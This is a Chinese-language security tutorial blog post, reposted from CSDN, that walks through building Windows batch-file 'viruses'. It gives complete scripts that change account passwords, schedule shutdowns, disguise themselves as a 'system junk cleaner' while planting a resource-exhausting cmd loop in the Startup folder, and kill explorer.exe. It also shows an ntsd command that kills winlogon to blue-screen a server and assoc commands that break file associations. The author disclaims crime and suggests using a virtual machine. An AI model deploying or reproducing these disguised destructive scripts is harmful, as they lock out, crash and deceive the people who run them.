病毒詳解及批處理病毒製作:自啟動、修改密碼、定時關機、藍屏、進程關閉

【編者按】病毒這個不速之客讓人談之色變,它像一個藏在斗篷俠下的黑衣人,被“光顧”的人就會倒黴。本文為作者的網絡安全自學教程系列文章之一,將講解簡單的病毒原理知識,並通過批處理代碼製作病毒,包括自動啟、修改密碼、定時關機、藍屏、進程關閉等功能。希望這篇基礎文章對大家有所幫助,更希望大家提高安全意識,學會相關防範,也歡迎大家討論。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

作者 | 楊秀璋

本文授權轉載自CSDN博客專家Eastmount

聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

一.關機bat腳本

計算機病毒(Computer Virus)是編制者在計算機程序中插入的破壞計算機功能或者數據的代碼,能影響計算機使用,能自我複製的一組計算機指令或者程序代碼。計算機病毒具有傳播性、隱蔽性、感染性、潛伏性、可激發性、表現性或破壞性。

計算機病毒的生命週期:開發期→傳染期→潛伏期→發作期→發現期→消化期→消亡期。計算機病毒是一個程序,一段可執行碼。就像生物病毒一樣,具有自我繁殖、互相傳染以及激活再生等生物病毒特徵。計算機病毒有獨特的複製能力,它們能夠快速蔓延,又常常難以根除。它們能把自身附著在各種類型的文件上,當文件被複制或從一個用戶傳送到另一個用戶時,它們就隨同文件一起蔓延開來。

下面講解第一個批處理腳本,主要是調用“shutdown”實現關機。其基本步驟如下:

  • 新建文本文檔

  • 輸入 shutdown -s -t 600

  • 把txt改成bat

如下圖所示,運行CMD可以查看shutdown命令的基本用法。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

基本命令為:

<code>1 shutdown -s -t 600
2//現在讓系統600秒之後關機
3
4shutdown -a
5//終止關閉計算機
/<code>

運行結果如下圖所示:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

新建“test.bat”並填寫“ shutdown -s -t 600”,某些系統需要在“文件夾選項”中,顯示“隱藏已知文件類型的擴展名”。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

雙擊BAT文件即運行關機,如果需要取消,還是在CMD黑框中輸入“shutdown -a”命令。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭
病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

二.修改密碼和定時關機病毒

接下來分享一個比較完整的病毒製作過程。

第一步,新建game.bat文件。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

程序編寫如下所示,其中“@echo off”表示關閉回顯,“color 0a”表示設置顏色。

<code> 1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜單
7echo 1.修改管理員密碼
8echo 2.定時關機
9echo 3.退出本程序
10echo ===================================
11
12pause
/<code>

運行結果如下圖所示,可以看到標題為“Eastmount程序”,並且包含相關內容,這就是批處理文件執行過程。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

第二步,做一個選擇判斷,該程序需要和用戶進行互動。

核心代碼為“set /p num=您的選擇是:”,其表示設置變量num,“/p”表示暫停並等待用戶輸入,用戶最終輸入的值賦為num。

<code> 1 @echo off
2color 0a
3title Eastmount程序
4
5echo ===================================
6echo 菜單
7echo 1.修改管理員密碼
8echo 2.定時關機
9echo 3.退出本程序
10echo ===================================
11
12set /p num=您的選擇是:
13
14pause
/<code>

輸出結果如下圖所示:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

第三步,補充修改管理員密碼、定時關機、退出等命令。

修改管理員密碼的命令是微軟所有系統的通用命令,下述代碼是修改當前管理員密碼為“123456”。

<code>1 net user administrator 123456
/<code>
病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

第二個選項是關機,命令如下:

<code>1 shutdown -s -t 100
/<code>

第三個選項是退出本程序。

<code>1 exit
/<code>

接著編寫判斷和跳轉批處理代碼,代碼如下所示,“>nul”表示不輸出運行提示信息。

<code> 1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6echo ===================================
7echo 菜單
8echo 1.修改管理員密碼
9echo 2.定時關機
10echo 3.退出本程序
11echo ===================================
12
13set /p num=您的選擇是:
14if "%num%"=="1" goto 1
15if "%num%"=="2" goto 2
16if "%num%"=="3" goto 3
17
18:1
19net user administrator 123456 > nul
20echo 您的密碼已經設置成功!
21pause
22goto menu
23
24:2
25shutdown -s -t 100
26goto menu
27
28:3
29exit
/<code>

此時輸入“1”會提示系統錯誤,如下圖所示:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

同時,殺毒軟件也會提示黑客修改電腦,點擊“允許操作”即可,

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

接著增加“cls”命令清屏。同時,為了避免輸入數字“4”會從頭執行到尾,補充一個提示信息。代碼修改如下:

<code> 1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜單
9echo 1.修改管理員密碼
10echo 2.定時關機
11echo 3.退出本程序

12echo ===================================
13
14set /p num=您的選擇是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!請輸入1-3正確的數字
20pause
21goto menu
22
23:1
24net user administrator 123456 >nul
25echo 您的密碼已經設置成功!
26pause
27goto menu
28
29:2
30shutdown -s -t 100
31goto menu
32
33:3
34exit
/<code>

此時運行如下圖所示:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

繼續修改代碼,補充設置的用戶名和新密碼,關機時間等。

<code> 1 @echo off
2color 0a
3title Eastmount程序
4
5:menu
6cls
7echo ===================================
8echo 菜單
9echo 1.修改管理員密碼
10echo 2.定時關機
11echo 3.退出本程序
12echo ===================================
13
14set /p num=您的選擇是:
15if "%num%"=="1" goto 1
16if "%num%"=="2" goto 2
17if "%num%"=="3" goto 3
18
19echo 您好!請輸入1-3正確的數字
20pause
21goto menu
22
23:1
24set /p u=請輸入用戶名:
25set /p p=請輸入新密碼:
26net user %u% %p% >nul
27echo 您的密碼已經設置成功!
28pause
29goto menu
30
31:2
32set /p time=請輸入時間:
33shutdown -s -t %time%
34goto menu
35
36:3
37exit
/<code>

以“管理員身份運行”後,成功修改“xiuzhang”用戶的開機密碼。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

輸入2可以設置關機時間,這裡就不再贅述,第一部分已經詳細講解。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

三.自啟動死機病毒

接著編寫一個偽裝成“系統垃圾清理”的代碼,它其實是一個導致系統死機的代碼,也不能算是“病毒”,更多是一個惡作劇程序。其原理是不斷打開CMD程序,佔用系統資源從而導致死機,並且每次開機都會自動啟。

PS:這裡強調一句,建議大家在虛擬機中運行該代碼。我們作為安全工程師,希望您們去了解漏洞背後的原理,更好地進行防禦,綠色網絡需要我們共同維護,杜絕一切違法行為。

第一步,在C:\\windows目錄下創建文件“windows.bat”。一個“>”表示覆蓋文件內容,兩個“>>”表示追加一句話至文件末尾。

<code>1echo start cmd >c:\\windows\\windows.bat
2echo %0>>c:\\windows\\windows.bat
/<code>

用戶打開這個程序之後,程序就會不斷打開cmd,佔用系統資源,導致系統癱瘓,%0是再次執行該程序的意思。但是,這樣只能讓用戶死機一次,重啟系統以後,不再打開這個文件以後,就不再會中招了。

第二步,將這個惡意腳本放到開機菜單中,每次開機都自動啟動運行並導致電腦死機。

errorlevel為預定義變量,隨著系統變化而變化。如果為0表示上一條命令執行成功,如果非0表示上一條命令執行失敗,它不是Win7系統,而執行下面這條命令(XP系統、2003系統)。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

代碼“echo.”表示空行,比如代碼:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

輸出結果如下圖所示:

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

第三步,接著編寫next區域代碼,完整代碼如下所示。

<code> 1@echo off
2title 系統垃圾清理
3color 2f
4echo =====若有殺毒軟件惡意攔截,請選擇【允許程序的所有操作】====
5echo.
6echo.
7
8echo start cmd >c:\\windows\\windows.bat
9::echo %%0>>c:\\windows\\windows.bat
10
11copy c:\\windows\\windows.bat "%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\">nul
12if %errorlevel%==0 goto next

13
14copy c:\\windows\\windows.bat "%USERPROFILE%\\「開始」菜單\\程序\\啟動\\">nul
15if %errorlevel%==1 goto error
16
17:next
18echo.
19echo.
20echo =====垃圾清理中,請不要關閉窗口=========
21echo.
22ping -n 5 127.0.0.1>nul
23echo.
24echo =====垃圾清理完畢,共清理垃圾500M=======
25echo.
26echo.
27echo =====建議立即重啟電腦==========
28pause
29
30:error
31echo.
32echo.
33echo ======程序運行失敗,請【使用管理員權限】重新運行!========
34echo.
35pause
/<code>

注意,我註釋了重複操作代碼“::echo %%0>>c:\\windows\\windows.bat”,否則開機自啟動很麻煩。接著運行代碼,如下圖所示,需要右鍵“以管理員身份運行”。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

代碼會在C:\\windwos目錄下創建批處理文件“windows.bat”。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

同時,在我的Win10系統開機自動動目錄下也有該文件。

目錄:…\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

打開該文件可以看到寫入的“start cmd”代碼,表示打開CMD。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

雙擊該“windows.bat”文件,運行結果如下圖所示。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

總結:本文編寫了一個系統清理工具,其實是把這個windows.bat寫到用戶的開機自啟動目錄下,達到用戶每次開機,都會運行該程序的目的,重複調用CMD佔用資源。如果中了該病毒,用戶可以使用PE到開啟啟動目錄把windows.bat文件刪除,或者重裝系統,再次建議大家別讓它重複運行。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

四.進程關閉病毒

再看一個偽裝垃圾清理的批處理代碼。該命令是殺死進程,“/im explorer.exe”表示要殺死的進程名稱,關閉桌面;“/f”表示強制殺死;“>nul”表示在屏幕上不要輸出任何信息。

<code>1taskkill /im explorer.exe /f >nul 2>nul
/<code>

完整代碼如下所示,其中“Start c:\\windows\\expolrer.exe”表示繼續開啟桌面,“ping -n 5 127.0.0.1>nul”用於消耗時間。

<code> 1@echo off
2title 系統垃圾清理
3color 2f
4echo =====若有殺毒軟件惡意攔截,請選擇【允許程序的所有操作】====
5echo.
6echo.
7echo.
8echo =====垃圾清理中,請不要關閉窗口=========
9echo.
10ping -n 5 127.0.0.1>nul
11taskkill /im explorer.exe /f >nul 2>nul
12echo.
13echo =====拐了,你的系統已經廢了=======
14echo.
15ping -n 5 127.0.0.1>nul
16echo.
17Start c:\\windows\\explorer.exe
18echo.
19echo =====已經修復好!是不是嚇壞了!!O(∩_∩)O==========
20pause
/<code>

運行該批處理程序,桌面會消失,如下圖所示。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

過一會桌面又會恢復。由於作者桌面東西太亂,這裡僅顯示壁紙展示。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

五.最簡單的藍屏炸彈文件

  • 新建文本文檔

  • 輸入:ntsd -c q -pn winlogon.exe,表示強制殺死進程

  • 工具->文件夾選項->查看->“隱藏已知文件類型的擴展名”勾選

  • txt修改為bat

  • 開始->程序->啟動,打開game.bat文件

黑客很少攻擊個人,一般攻擊服務器,該命令對2003的服務器特別有殺傷力

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

雙擊之後,服務器直接藍屏顯示並重啟。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

ntsd從Windows 2000開始就是系統自帶的進程調試工具,在system32目錄下。ntsd的功能非常的強大,用法也比較複雜,但如果只用來結束一些進程,那就比較簡單了。在Windows中只有System、SMSS.EXE和CSRSS.EXE不能殺。前兩個是純內核態的,最後那個是Win32子系統,ntsd本身需要它。lsass.exe也不要殺掉,它是負責本地賬戶安全的。被調試器附著的進程會隨調試器一起退出,所以可以用來在命令行下終止進程。

打開cmd 後輸入以下命令就可以結束進程:

  • 方法一:利用進程的PID結束進程

命令格式:ntsd -c q -p pid

命令範例:ntsd -c q -p 1332 (結束explorer.exe進程)

範例詳解:explorer.exe的pid為1332,但是如何獲取進程的pid呢?在CMD下輸入TASKLIST就可以獲取當前任務管理器所有進程的PID。或者打開任務管理器,在菜單欄,選擇“查看”->“選擇列”,在打開的選擇項窗口中將“PID(進程標識符)”項選擇鉤上,這樣任務管理器的進程中就會多出PID一項了。PID的分配並不固定,是在進程啟動是由系統隨機分配的,所以進程每次啟動的進程一般都不會一樣。

  • 方法二:利用進程名結束進程

命令格式:ntsd -c q -pn xxxx.exe (xxxx.exe 為進程名,exe不能省)

命令範例:ntsd -c q -pn explorer.exe

另外的能結束進程的DOS命令還有taskkill和tskill命令。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

六.最簡單的擴展名病毒

將文件格式修改或文檔加密都是常見的病毒,比如永恆之藍、勒索病毒等,它們就是將電腦內的所有資料、文檔加密,當你要打開文件時,需要密碼,此時通過比特幣付費進行勒索。

下面這個小操作是將exe文件修改為txt文檔。當遇到可執行的exe文件,會認為它是一個txt文檔,用記事本打開,導致可執行程序運行不起來,這是就是這個病毒的原理。

  • 新建文本文檔

  • 增加代碼:assoc.exe=txtfile

  • 工具->文件夾選項->查看->“隱藏已知文件類型的擴展名”勾選

  • txt修改為bat

  • 開始->程序->啟動,打開bat文件

雙擊運行bat文件之後,我們的可執行文件就變成了txt文件。此時系統認為exe就是txt程序,把系統的關聯搞混亂了,它恢復起來很麻煩。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

EXE程序打開如下圖所示。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

甚至打開CMD都是TXT文本文件。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

接著需要執行下面的命令還原exe文件。

  • assoc.exe=exefile

還原的代碼及效果如下圖所示。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

其他所有文件格式都轉換為txt文件,如下所示。此時,如果隱藏文件擴展名,甚至可以修改圖標偽裝成目標應用,當用戶點擊時會執行這些破壞;但由於不知道目標是否有隱藏文件擴展名,還是不建議這種“笨”方法。

<code>1assoc .htm=txtfile
2assoc .dat=txtfile
3assoc .com=txtfile
4assoc .rar=txtfile
5assoc .gho=txtfile
6assoc .mvb=txtfile
7...
/<code>

解決方法:

如果您不幸中了該病毒,怎麼解決呢?如下圖所示,還原所有正確關聯即可。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

PS:還有一些病毒,比如VBS腳本、網頁彈窗(網站釣魚)等,這裡不再講解,推薦讀者閱讀前文“[網絡安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防禦初探”。如果把病毒程序放到啟動項,每次開機都會自動執行。

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭
病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

七.總結

希望這系列文章對您有所幫助,真的感覺自己技術好菜,要學的知識好多。這是第44篇原創的安全系列文章,從網絡安全到系統安全,從木馬病毒到後門劫持,從惡意代碼到溯源分析,從滲透工具到二進制工具,還有Python安全、頂會論文、黑客比賽和漏洞分享。未知攻焉知防,人生漫漫其路遠兮,作為初學者,自己真是爬著前行,感謝很多人的幫助,繼續爬著,繼續加油!

歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。

俠之為大,為國為民。向一線醫護人員、軍人、工人、科學家和所有工作者致敬。咱們中國人一生的最高追求,為天地立心,為生民立命,為往聖繼絕學,為萬世開太平,他們真的做到了。生活哪有什麼歲月靜好,只不過這些人替我們負重前行。希望每一個人都健康平安,戴口罩不出門,勤洗手多吃飯。武漢加油,湖北加油,中國加油。眾志成城,加油必勝!!!

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭

原文鏈接:

https://blog.csdn.net/Eastmount/article/details/104146757


分享到:


相關文章: